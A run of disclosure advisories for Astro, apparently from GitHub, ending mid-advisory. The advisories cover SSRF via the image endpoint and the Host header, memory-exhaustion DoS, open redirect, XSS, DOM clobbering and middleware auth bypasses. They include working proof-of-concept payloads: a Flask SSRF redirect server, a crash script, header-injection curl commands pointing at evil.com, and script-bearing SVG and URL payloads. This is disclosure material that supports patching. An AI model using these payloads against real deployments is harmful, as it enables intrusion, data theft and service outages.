1. Run npm install and start the internal service:
bash node internal-service.mjs
2. Start the dev server:
bash npm run dev
3. Request the page:
bash curl http://localhost:4322/test
4. internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
</details>
Impact
Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
<details>
Setup
Create a new Astro project with the following files:
package.json: json { "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } }
astro.config.mjs: javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), });
src/actions/index.ts: typescript import { defineAction } from 'astro:actions'; import { z } from 'astro:schema';
export const server = { echo: defineAction({ input: z.object({ data: z.string() }), handler: async (input) => ({ received: input.data.length }), }), };
src/pages/index.astro: astro --- --- <html><body><p>Server running</p></body></html>
crash-test.mjs: javascript const payload = JSON.stringify({ data: 'A'.repeat(125 1024 1024) });
console.log('Sending 125 MB payload...'); try { const res = await fetch('http://localhost:4321/actions/echo', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: payload, }); console.log('Status:', res.status); } catch (e) { console.log('Server crashed:', e.message); }
Reproduction
bash npm install && npm run build
Terminal 1: Start server with 128 MB memory limit npm run start:128mb
Terminal 2: Send 125 MB payload node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
</details>
Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
Summary
Server-Side Rendered pages that return an error with a prerendered custom error page (eg. 404.astro or 500.astro) are vulnerable to SSRF. If the Host: header is changed to an attacker's server, it will be fetched on /500.html and they can redirect this to any internal URL to read the response body through the first request.
Details
The following line of code fetches statusURL and returns the response back to the client:
https://github.com/withastro/astro/blob/bf0b4bfc7439ddc565f61a62037880e4e701eb05/packages/astro/src/core/app/base.ts#L534
statusURL comes from this.baseWithoutTrailingSlash, which is built from the Host: header. prerenderedErrorPageFetch() is just fetch(), and follows redirects. This makes it possible for an attacker to set the Host: header to their server (eg. Host: attacker.tld), and if the server still receives the request without normalization, Astro will now fetch http://attacker.tld/500.html.
The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.
Looking at the vulnerable code, the way to reach this is if the renderError() function is called (error response during SSR) and the error page is prerendered (custom 500.astro error page). The PoC below shows how a basic project with these requirements can be set up.
Note: Another common vulnerable pattern for 404.astro we saw is:
astro return new Response(null, {status: 404});
Also, it does not matter what allowedDomains is set to, since it only checks the X-Forwarded-Host: header.
https://github.com/withastro/astro/blob/9e16d63cdd2537c406e50d005b389ac115755e8e/packages/astro/src/core/app/base.ts#L146
PoC
1. Create a new empty project
bash npm create astro@latest poc -- --template minimal --install --no-git --yes
2. Create poc/src/pages/error.astro which throws an error with SSR:
astro --- export const prerender = false;
throw new Error("Test") ---
3. Create poc/src/pages/500.astro with any content like:
astro <p>500 Internal Server Error</p>
4. Build and run the app
bash cd poc npx astro add node --yes npm run build && npm run preview
5. Set up an "internal server" which we will SSRF to. Create a file called ssrf.txt and host it locally on http://localhost:8000:
bash cd $(mktemp -d) echo "SECRET CONTENT" > ssrf.txt python3 -m http.server
6. Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
python pip install Flask from flask import Flask, redirect
app = Flask(name)
@app.route("/500.html") def exploit(): return redirect("http://127.0.0.1:8000/ssrf.txt")
if name == "main": app.run()
7. Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
shell $ curl -i http://localhost:4321/error -H 'Host: localhost:5000' HTTP/1.1 500 OK content-type: text/plain date: Tue, 03 Feb 2026 09:51:28 GMT last-modified: Tue, 03 Feb 2026 09:51:09 GMT server: SimpleHTTP/0.6 Python/3.12.3 Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked
SECRET CONTENT
Impact
An attacker who can access the application without Host: header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.
For this to be vulnerable, a common feature needs to be used, with direct access to the server (no proxies).
Summary
When using Astro's Cloudflare adapter (@astrojs/cloudflare) configured with output: 'server' while using the default imageService: 'compile', the generated image optimization endpoint doesn't check the URLs it receives, allowing content from unauthorized third-party domains to be served.
Details
On-demand rendered sites built with Astro include an /image endpoint, which returns optimized versions of images.
The /image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, a bug in impacted versions of the @astrojs/cloudflare adapter for deployment on Cloudflare’s infrastructure, allows an attacker to bypass the third-party domain restrictions and serve any content from the vulnerable origin.
PoC
1. Create a new minimal Astro project (astro@5.13.3)
2. Configure it to use the Cloudflare adapter (@astrojs/cloudflare@12.6.5) and server output:
js // astro.config.mjs import { defineConfig } from 'astro/config'; import cloudflare from '@astrojs/cloudflare';
export default defineConfig({ output: 'server', adapter: cloudflare(), });
3. Deploy to Cloudflare Pages or Workers
4. Append /image?href=https://placehold.co/600x400 to the deployment URL.
7. This will serve the placeholder image from the unauthorised placehold.co domain.
Impact
Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized content. This includes the risk of server-side request forgery (SSRF) and by extension cross-site scripting (XSS) if a user follows a link to a maliciously crafted URL.
Authentication Bypass via Double URL Encoding in Astro Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794
---
Summary
A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.
Fix
A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :
if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); }
Summary When running Astro in on-demand rendering mode using a adapter such as the node adapter it is possible to maliciously send an X-Forwarded-Host header that is reflected when using the recommended Astro.url property as there is no validation that the value is safe.
Details Astro reflects the value in X-Forwarded-Host in output when using Astro.url without any validation.
It is common for web servers such as nginx to route requests via the Host header, and forward on other request headers. As such as malicious request can be sent with both a Host header and an X-Forwarded-Host header where the values do not match and the X-Forwarded-Host header is malicious. Astro will then return the malicious value.
This could result in any usages of the Astro.url value in code being manipulated by a request. For example if a user follows guidance and uses Astro.url for a canonical link the canonical link can be manipulated to another site. It is not impossible to imagine that the value could also be used as a login/registration or other form URL as well, resulting in potential redirecting of login credentials to a malicious party.
As this is a per-request attack vector the surface area would only be to the malicious user until one considers that having a caching proxy is a common setup, in which case any page which is cached could persist the malicious value for subsequent users.
Many other frameworks have an allowlist of domains to validate against, or do not have a case where the headers are reflected to avoid such issues.
PoC - Check out the minimal Astro example found here: https://github.com/Chisnet/minimaldynamicastroserver - nvm use - yarn run build - node ./dist/server/entry.mjs - curl --location 'http://localhost:4321/' --header 'X-Forwarded-Host: www.evil.com' --header 'Host: www.example.com' - Observe that the response reflects the malicious X-Forwarded-Host header
For the more advanced / dangerous attack vector deploy the application behind a caching proxy, e.g. Cloudflare, set a non-zero cache time, perform the above curl request a few times to establish a cache, then perform the request without the malicious headers and observe that the malicious data is persisted.
Impact
This could affect anyone using Astro in an on-demand/dynamic rendering mode behind a caching proxy.
Summary A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.
Affected Versions - @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions) - Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter
Root Cause – Vulnerable Code File: nodemodules/@astrojs/internal-helpers/src/remote.ts
ts export function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src);
// Data URLs are always allowed if (url.protocol === 'data:') { return true; }
// Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks }
In the Cloudflare adapter, the /image endpoint contains logic similar to:
ts const href = ctx.url.searchParams.get('href'); if (!href) { // return error }
if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } }
Because data: URLs are considered “allowed”, a request such as: https://example.com/image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)
triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.
Proof of Concept (PoC)
1. Create a minimal Astro project with Cloudflare adapter (output: 'server'). 2. Deploy to Cloudflare Pages or Workers. 3. Request the image endpoint with the following payload:
https://yoursite.com/image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==
(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)
4. The endpoint returns a 302 redirect to the data: URL → browser executes the <script> → alert() fires.
Impact - Reflected/Strored XSS (depending on application usage) - Session hijacking (access to cookies, localStorage, etc.) - Account takeover when combined with CSRF - Data exfiltration to attacker-controlled servers - Bypasses image.domains / image.remotePatterns configuration entirely
Safe vs Vulnerable Behavior Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.
References - Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts - Similar data: URL bypass in WordPress: CVE-2025-2575
A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).
This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.
https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44
js / The main logic to route dev server requests to pages in Astro. / export async function handleRequest({ pipeline, routesList, controller, incomingRequest, incomingResponse, }: HandleRequest) { const { config, loader } = pipeline; const origin = ${loader.isHttps() ? 'https' : 'http'}://${ incomingRequest.headers[':authority'] ?? incomingRequest.headers.host };
const url = new URL(origin + incomingRequest.url); let pathname: string; if (config.trailingSlash === 'never' && !incomingRequest.url) { pathname = ''; } else { // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts pathname = decodeURI(url.pathname); // here this url is for routing/rendering }
// Add config.base back to url before passing it to SSR url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context
Consider an application having the following middleware code:
js import { defineMiddleware } from "astro/middleware";
export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // simulate no auth if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/
context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.
By sending the following request, it's possible to bypass the middleware check
GET /%61dmin HTTP/1.1 Host: localhost:3000
<img width="1920" height="1025" alt="image" src="https://github.com/user-attachments/assets/7e0eeecd-607a-4c73-b12e-5977a30c9bc4" />
Remediation
Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this
diff pathname = decodeURI(url.pathname); }
// Add config.base back to url before passing it to SSR - url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; + url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);
Thank you, let @Sudistark know if any more info is needed. Happy to help :)
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks http://, https:// and //, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.
PoC https://astro.build/image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
Summary
There is an Open Redirection vulnerability in the trailing slash redirection logic when handling paths with double slashes. This allows an attacker to redirect users to arbitrary external domains by crafting URLs such as https://mydomain.com//malicious-site.com/. This increases the risk of phishing and other social engineering attacks.
This affects Astro >=5.2.0 sites that use on-demand rendering (SSR) with the Node or Cloudflare adapter. It does not affect static sites, or sites deployed to Netlify or Vercel.
Background
Astro performs automatic redirection to the canonical URL, either adding or removing trailing slashes according to the value of the trailingSlash configuration option. It follows the following rules:
- If trailingSlash is set to "never", https://example.com/page/ will redirect to https://example.com/page - If trailingSlash is set to "always", https://example.com/page will redirect to https://example.com/page/
It also collapses multiple trailing slashes, according to the following rules:
- If trailingSlash is set to "always" or "ignore" (the default), https://example.com/page// will redirect to https://example.com/page/ - If trailingSlash is set to "never", https://example.com/page// will redirect to https://example.com/page
It does this by returning a 301 redirect to the target path. The vulnerability occurs because it uses a relative path for the redirect. To redirect from https://example.com/page to https://example.com/page/, it sending a 301 response with the header Location: /page/. The browser resolves this URL relative to the original page URL and redirects to https://example.com/page/
Details
The vulnerability occurs if the target path starts with //. A request for https://example.com//page will send the header Location: //page/. The browser interprets this as a protocol-relative URL, so instead of redirecting to https://example.com//page/, it will attempt to redirect to https://page/. This is unlikely to resolve, but by crafting a URL in the form https://example.com//target.domain/subpath, it will send the header Location: //target.domain/subpath/, which the browser translates as a redirect to https://target.domain/subpath/. The subpath part is required because otherwise Astro will interpret /target.domain as a file download, which skips trailing slash handling.
This leads to an Open Redirect vulnerability.
The URL needed to trigger the vulnerability varies according to the trailingSlash setting.
- If trailingSlash is set to "never", a URL in the form https://example.com//target.domain/subpath/ - If trailingSlash is set to "always", a URL in the form https://example.com//target.domain/subpath - For any config value, a URL in the form https://example.com//target.domain/subpath//
Impact
This is classified as an Open Redirection vulnerability (CWE-601). It affects any user who clicks on a specially crafted link pointing to the affected domain. Since the domain appears legitimate, victims may be tricked into trusting the redirected page, leading to possible credential theft, malware distribution, or other phishing-related attacks.
No authentication is required to exploit this vulnerability. Any unauthenticated user can trigger the redirect by clicking a malicious link.
Mitigation
You can test if your site is affected by visiting https://yoursite.com//docs.astro.build/en//. If you are redirected to the Astro docs then your site is affected and must be updated.
Upgrade your site to Astro 5.12.8. To mitigate at the network level, block outgoing redirect responses with a Location header value that starts with //.
Summary
In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:
- Middleware-based protected route bypass (only via x-forwarded-proto) - DoS via cache poisoning (if a CDN is present) - SSRF (only via x-forwarded-proto) - URL pollution (potential SXSS, if a CDN is present) - WAF bypass
Details
The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97 https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121
These header values are then used directly to construct URLs.
By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.
If the following header value is injected when requesting the path /ssr:
x-forwarded-proto: https://www.malicious-url.com/?tank=
The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr
As a reminder, URLs are created like this:
url = new URL(${protocol}://${hostnamePort}${req.url});
The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.
This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.
The same logic applies to x-forwarded-port, with a few differences.
[!NOTE] The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.
PoC
The PoC will be tested with a minimal repository:
- Latest Astro version at the time (2.16.0) - The Node adapter - Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware - A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path
Download the PoC repository
Middleware-based protected route bypass - x-forwarded-proto only
The middleware has been configured to protect the /admin route based on the official documentation:
ts // src/middleware.ts import { defineMiddleware } from "astro/middleware";
export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // auth logic if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); });
1. When tryint to access /admin the attacker is naturally redirected : sh curl -i http://localhost:4321/admin <img width="620" height="102" alt="image" src="https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351" />
2. The attackr can bypass the middleware path check using a malicious header value: sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin <img width="1348" height="159" alt="image" src="https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089" />
How is this possible?
Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:
- x: is considered the protocol - Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin
During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.
SSRF
As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).
Example of code reusing the "origin" URL, concatenating it to the API endpoint :
<img width="601" height="418" alt="image" src="https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802" />
DoS via cache poisoning
If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.
A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr <img width="998" height="108" alt="image" src="https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86" />
Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr
How is this possible?
The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.
URL pollution
The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.
If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:
x-forwarded-proto: javascript:alert(document.cookie)//
results in the following URL object:
<img width="444" height="202" alt="image" src="https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba" />
It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.
x-forwarded-proto: https://www.malicious-site.com/bad?
The attacker is more limited with x-forwarded-port
If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:
X-Forwarded-Port: /nope?
Example of an Astro website: <img width="1627" height="298" alt="Capture d’écran 2025-11-03 à 22 07 14" src="https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12" />
WAF bypass
For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:
https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path
Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.
CVE-2025-61925 complete bypass
It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.
By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:
if (forwardedHostname && !App.validateForwardedHost(...))
Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.
From there, the following request on the example SSR application (astro repo) yields an SSRF: <img width="1878" height="456" alt="Capture d’écran 2025-11-06 à 21 18 26" src="https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9" /> empty x-forwarded-host + the target host in the path
Credits
- Allam Rachid (zhero;) - Allam Yasser (inzo)
Summary
A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.
Details
Vulnerability Location
https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149
Root Cause
The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.
Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.
Attack Vector
When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.
PoC
Local Testing (localhost)
Basic vulnerability verification in local development environment
<details> <summary>Show details</summary>
astro.config.mjs: javascript import { defineConfig } from 'astro/config';
export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } });
package.json: json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } }
Start the development server: bash npm install npm run dev
Access the following malicious URL depending on your configuration:
For trailingSlash: 'never' (requires trailing slash): http://localhost:3000/"></code><script>alert(document.domain)</script><!--/
For trailingSlash: 'always' (no trailing slash): http://localhost:3000/"></code><script>alert(document.domain)</script><!--
When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (alert(document.domain)) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution
</details>
Remote Testing (ngrok)
Reproduce realistic attack scenario via external malicious link
<details> <summary>Show details</summary>
Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)
Setup and Execution: bash #!/bin/bash set -e
mkdir -p logs
npm i npm run dev > ./logs/victim.log 2>&1 &
ngrok http 3000 > ./logs/ngrok.log 2>&1 &
sleep 3
NGROKURL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"publicurl":"https://[^"]' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROKURL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROKURL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait
When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (alert(document.domain)) executes in the user's browser
Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').
</details>
Impact
This only affects the development server. Risk depends on how and where the dev server is exposed.
Security impact
Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser. Session hijacking: Active developer sessions can be stolen if services are open in the browser. Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies. Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.
Attack scenarios
Social engineering: Malicious link sent to a developer triggers the XSS when opened. Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs. Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.
Summary
In affected versions of astro, the image optimization endpoint in projects deployed with on-demand rendering allows images from unauthorized third-party domains to be served.
Details
On-demand rendered sites built with Astro include an /image endpoint which returns optimized versions of images.
The /image endpoint is restricted to processing local images bundled with the site and also supports remote images from domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).
However, a bug in impacted versions of astro allows an attacker to bypass the third-party domain restrictions by using a protocol-relative URL as the image source, e.g. /image?href=//example.com/image.png.
Proof of Concept
1. Create a new minimal Astro project (astro@5.13.0).
2. Configure it to use the Node adapter (@astrojs/node@9.1.0 — newer versions are not impacted):
js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ adapter: node({ mode: 'standalone' }), });
3. Build the site by running astro build.
4. Run the server, e.g. with astro preview.
5. Append /image?href=//placehold.co/600x400 to the preview URL, e.g. <http://localhost:4321/image?href=//placehold.co/600x400>
6. The site will serve the image from the unauthorized placehold.co origin.
Impact
Allows a non-authorized third-party to create URLs on an impacted site’s origin that serve unauthorized image content. In the case of SVG images, this could include the risk of cross-site scripting (XSS) if a user followed a link to a maliciously crafted SVG.
Summary
A DOM Clobbering gadget has been discoverd in Astro's client-side router. It can lead to cross-site scripting (XSS) in websites enables Astro's client-side routing and has stored attacker-controlled scriptless HTML elements (i.e., iframe tags with unsanitized name attributes) on the destination pages.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Astro
We identified a DOM Clobbering gadget in Astro's client-side routing module, specifically in the <ViewTransitions /> component. When integrated, this component introduces the following vulnerable code, which is executed during page transitions (e.g., clicking an <a> link):
https://github.com/withastro/astro/blob/7814a6cad15f06931f963580176d9b38aa7819f2/packages/astro/src/transitions/router.ts#L135-L156
However, this implementation is vulnerable to a DOM Clobbering attack. The document.scripts lookup can be shadowed by an attacker injected non-script HTML elements (e.g., <img name="scripts"><img name="scripts">) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an array of attacker-controlled scriptless HTML elements.
The condition script.dataset.astroExec === '' on line 138 can be bypassed because the attacker-controlled element does not have a data-astroExec attribute. Similarly, the check on line 134 can be bypassed as the element does not require a type attribute.
Finally, the innerHTML of an attacker-injected non-script HTML elements, which is plain text content before, will be set to the .innerHTML of an script element that leads to XSS.
PoC
Consider a web application using Astro as the framework with client-side routing enabled and allowing users to embed certain scriptless HTML elements (e.g., form or iframe). This can be done through a bunch of website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
For PoC website, please refer to: https://stackblitz.com/edit/github-4xgj2d. Clicking the "about" button in the menu will trigger an alert(1) from an attacker-injected form element.
--- import Header from "../components/Header.astro"; import Footer from "../components/Footer.astro"; import { ViewTransitions } from "astro:transitions"; import "../styles/global.css"; const { pageTitle } = Astro.props; --- <html lang="en"> <head> <meta charset="utf-8" /> <link rel="icon" type="image/svg+xml" href="/favicon.svg" /> <meta name="viewport" content="width=device-width" /> <meta name="generator" content={Astro.generator} /> <title>{pageTitle}</title> <ViewTransitions /> </head> <body> <!--USER INPUT--> <iframe name="scripts">alert(1)</iframe> <iframe name="scripts">alert(1)</iframe> <!--USER INPUT--> <Header /> <h1>{pageTitle}</h1> <slot /> <Footer /> <script> import "../scripts/menu.js"; </script> </body> </html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that built with Astro that enable the client-side routing with ViewTransitions and store the user-inserted scriptless HTML tags without properly sanitizing the name attributes on the page.
Patch
We recommend replacing document.scripts with document.getElementsByTagName('script') for referring to script elements. This will mitigate the possibility of DOM Clobbering attacks leveraging the name attribute.
Reference
Similar issues for reference: + Webpack (CVE-2024-43788) + Vite (CVE-2024-45812) + layui (CVE-2024-47075)
Summary
A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.
Details
When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)
For example, with the following Astro configuration:
js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
